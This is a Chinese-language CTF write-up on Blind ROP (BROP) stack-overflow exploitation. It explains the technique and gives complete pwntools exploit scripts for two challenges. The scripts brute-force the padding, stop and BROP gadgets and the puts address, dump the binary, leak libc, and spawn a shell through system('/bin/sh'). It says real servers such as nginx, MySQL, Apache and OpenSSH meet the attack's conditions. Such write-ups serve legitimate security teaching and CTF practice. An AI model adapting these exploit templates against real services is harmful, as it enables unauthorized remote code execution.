BROP简介
BROP(Blind ROP),于 2014 年由 Standford 的 Andrea Bittau 提出,这种攻击方式是实现在无源代码和二进程程序的情况下对运行中的程序进行攻击。
slides:http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf
paper:http://www.scs.stanford.edu/brop/bittau-brop.pdf

如何实现
利用条件
- 程序存在栈溢出漏洞
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样。
- nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
- 这意味着: 栈中的canary是固定的,不会重置
利用思路
- 通过爆破确定栈溢出的长度, 如果存在Canary则顺便把Canary爆破出来.
- 爆破Canary也称之为Stack Reading, 因为可以用相同的方式把栈上所有的数据都爆破出来.

- 寻找可以返回到程序main函数的gadget,通常被称为stop_gadget;
- 寻找BROP gadgets,这段gadget也就是
libc_csu_init
中的这段gadget.

因为这段gadget很独特,pop了六个参数.且这段gadget可重用,通过指令偏移可用获得pop rdi;ret;
以及pop rsi;pop r15;ret;

- 爆破可以输出的函数地址,通常为puts或者write.
- 通过输出函数dump出全部的二进制文件或者部分文件.
- 通过dump出的文件,找出write@got或者puts@got等libc函数的got表地址.然后泄露libc地址.
- 根据libc中的gadgets getshell
实例
axb_2019_brop64
buu有这道题.
首先确定溢出长度,
1 2 3 4 5 6 7 8 9 10 11 12 13
| def get_padding_length(): length = 1 while True: io = process(filename) io.recvuntil(b'Please tell me:') io.send(b'a'*length) try: io.recvuntil(b'Goodbye!') length += 1 except Exception as e: success(f"padding length: {length - 1}") return length - 1 io.close()
|
然后确定stop_gadget地址, 这里只要发送payload之后,进程再次返回Please tell me:
即可确定又回到了main函数.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| def get_stop_gadget(length): addr = 0x400000 while 1: io = process(filename) io.recvuntil(b'Please tell me:') try: io.send(b'a'*length + p64(addr)) res = io.recvuntil(b'Please tell me:',timeout=1) print(res) if b'Please tell me:' in res: success(f"success: {hex(addr)}") return addr else: addr += 1 except Exception: warn(f"{hex(addr)}") addr += 1 io.close()
|
获取brop_gadget: 这里发送payload之后遇到不发生crash的情况也有可能这段代码片段本身是可执行的.如jump main
,所以还需要check一下,且最难的部分也是check的逻辑.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| def get_brop_gadget(length,stop_gadget): addr = stop_gadget+1 while True: io = process(filename) io.recvuntil(b'Please tell me:') try: payload = b'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10 io.sendline(payload) r = io.recv() if b'Please tell me:' in r: if check_brop_gadget(length,addr): print(r) success(f"success: {hex(addr)}") return addr else: addr += 1 else: add += 1 except Exception: warn(f"{hex(addr)}") addr += 1 io.close()
def check_brop_gadget(length,addr): info(f"checking {hex(addr)}") try: io = process(filename) io.recvuntil(b'Please tell me:') payload = b'a' * length + p64(addr) + b'a' * 8 * 10 io.sendline(payload) content = io.recv() print(content) if b'Goodbye!' in content: print(content) return False io.close() if b'Please tell me:' in content: return False return True except Exception: io.close() return True
|
获取puts函数的地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| def get_puts_address(length,stop_gadget,pop_rdi_ret): addr = 0x400000 while addr<0x500000: io = process(filename) io.recvuntil(b'Please tell me:') try: payload = b'a' * length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget) io.send(payload) content = io.recv(timeout = 1) if b'\x7fELF' in content: print(content) success(f"puts address: {hex(addr)}") return addr else: addr += 1 except Exception as e: warn(f"{hex(addr)}") addr += 1 io.close()
|
获取write函数地址: 这里并没有控制write函数输出的长度, 控制长度可根据strcmp等函数,或者它本身足够大.(靠运气)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| def get_write_address(length,stop_gadget,brop_gadget): addr = 0x400000 while addr<0x401000: io = process(filename) io.recvuntil(b'Please tell me:') try: payload = b'a' * length payload += p64(brop_gadget + 9) payload += p64(1) payload += p64(brop_gadget + 7) payload += p64(0x400000) payload += p64(0) payload += p64(addr) io.send(payload) content = io.recv(timeout = 1) if b'\x7fELF' in content: print(content) success(f"puts address: {hex(addr)}") return addr else: addr += 1 except Exception as e: warn(f"{hex(addr)}") addr += 1 io.close()
|
dump文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| def leak(length, pop_rdi, leak_addr, puts_plt, stop_gadgets): io = process(filename) payload = b'a'*length + p64(pop_rdi) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadgets) io.recvuntil(b"Please tell me:") io.sendline(payload) io.recvuntil(b'a'*length) io.recv(3) try: output = io.recv(timeout = 1) io.close() try: output = output[:output.index(b"\nHello,I am a computer")] except Exception: output = output if output == b"": output = b"\x00" return output except Exception: io.close() return None
length = 216
stop_gadget = 0x4006e0
brop_gadget = 0x40095a pop_rdi_ret = 0x40095a + 9 ret = 0x40095a + 9 + 5
puts_plt = 0x400635
write_plt = 0x400650 addr = 0x400000 result = b'' while addr < 0x402000: output = leak(length, pop_rdi_ret, addr, puts_plt, stop_gadget) if output is None: result += b'\x00' addr += 1 continue else: result += output addr += len(output) with open('dump_axv','wb') as f: f.write(result)
|
根据dump的文件确定puts@got : 0x601018
Text1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| LOAD:0000000000400630 LOAD:0000000000400630 loc_400630: ; CODE XREF: LOAD:000000000040064B↓j LOAD:0000000000400630 ; LOAD:000000000040065B↓j ... LOAD:0000000000400630 push cs:qword_601008 LOAD:0000000000400636 jmp cs:qword_601010 LOAD:0000000000400636 ; --------------------------------------------------------------------------- LOAD:000000000040063C align 20h LOAD:0000000000400640 LOAD:0000000000400640 ; =============== S U B R O U T I N E ======================================= LOAD:0000000000400640 LOAD:0000000000400640 ; Attributes: thunk LOAD:0000000000400640 LOAD:0000000000400640 sub_400640 proc near ; CODE XREF: sub_4007D6+45↓p LOAD:0000000000400640 ; sub_4007D6+4F↓p ... LOAD:0000000000400640 jmp cs:qword_601018 LOAD:0000000000400640 sub_400640 endp LOAD:0000000000400640
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| io = process(filename) libc = ELF('./libc.so.6')
context.log_level = 'debug'
io.recvuntil(b'Please tell me:') payload = b'a'*length + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget) io.sendline(payload) io.recvuntil(b'a'*length) io.recv(3) a = io.recv(6) puts_address = u64(a.ljust(8,b'\x00')) success(f"puts: {hex(puts_address)}")
libcbase = puts_address - libc.symbols['puts'] system_address = libcbase + libc.symbols['system'] bin_sh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*length + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) io.sendline(payload) io.interactive()
|
brop
题目地址: https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/brop/hctf2016-brop
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
def get_padding_length(): length = 1 while True: io = process('./brop') io.recvuntil(b'WelCome my friend,Do you know password?\n') io.send(b'a'*length) try: io.recvuntil(b'No password, no game\n') length += 1 except Exception as e: return length - 1 io.close()
def get_stop_addr(length): addr = 0x400000 while 1: io = process('./brop') io.recvuntil(b'WelCome my friend,Do you know password?\n') try: io.send(b'a'*length + p64(addr)) io.recvuntil(b'WelCome my friend,Do you know password?\n') success(f"success: {hex(addr)}") return addr except Exception: warn(f"{hex(addr)}") addr += 1 io.close()
def get_brop_gadget(length,stop_addr): addr = 0x400740 while True: io = process('./brop') io.recvuntil(b'WelCome my friend,Do you know password?\n') try: payload = b'a' * length + p64(addr) + p64(0) * 6 + p64(stop_addr) + p64(0) * 10 io.send(payload) r = io.recv() if check_brop_gadget(length,addr): print(r) success(f"success: {hex(addr)}") return addr else: addr += 1 except Exception: warn(f"{hex(addr)}") addr += 1 io.close()
def check_brop_gadget(length, addr): info(f"checking {hex(addr)}") try: io = process('./brop') io.recvuntil(b'WelCome my friend,Do you know password?\n') payload = b'a' * length + p64(addr) + b'a' * 8 * 10 io.sendline(payload) content = io.recv() print(content) io.close() return False except Exception: io.close() return True
def get_puts_address(length,stop_addr,pop_rdi_ret): addr = 0x400500 while True: io = process('./brop') io.recvuntil(b'WelCome my friend,Do you know password?\n') try: payload = b'a' * length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_addr) io.send(payload) content = io.recv(timeout = 1) if b'\x7fELF' in content: print(content) success(f"puts address: {hex(addr)}") return addr else: addr += 1 except Exception as e: warn(f"{hex(addr)}") addr += 1 io.close()
def leak(length, pop_rdi, leak_addr, put_plt, stop_gadgets): sh = process("./brop") payload = b'a'*length + p64(pop_rdi) + p64(leak_addr) + p64(put_plt) + p64(stop_gadgets) sh.recvuntil(b"password?\n") sh.sendline(payload) try: output = sh.recv(timeout = 1) sh.close() try: output = output[:output.index(b"\nWelCome")] except Exception: output = output if output == b"": output = b"\x00" return output except Exception: sh.close() return None def exp(length,pop_rdi_ret,puts_got,put_plt,stop_gadgets,ret): io = process('./brop') libc = ELF('./libc.so.6')
io.recvuntil(b'WelCome my friend,Do you know password?\n') payload = b'a'*length + p64(pop_rdi_ret) + p64(puts_got) + p64(put_plt) + p64(stop_gadgets) io.send(payload) a = io.recv(6) puts_address = u64(a.ljust(8,b'\x00')) success(f"puts: {hex(puts_address)}") libcbase = puts_address - libc.symbols['puts'] system_address = libcbase + libc.symbols['system'] bin_sh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*length + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) io.sendline(payload) io.interactive()
ret2csu = 0x4007ba pop_rdi_ret = 0x4007ba + 9 ret = 0x4007ba + 9 + 5
puts_got = 0x601018 exp(72,pop_rdi_ret,puts_got,0x400555,0x4005c0,ret)
|
总结
ctf中这类题都是模板题, 这里贴了两个题的exp, 但是还有一些模板没有贴,如stack reading泄露canary, 无puts可用时如何再找别的输出函数.
realworld场景也找到了实例: https://www.anquanke.com/post/id/85331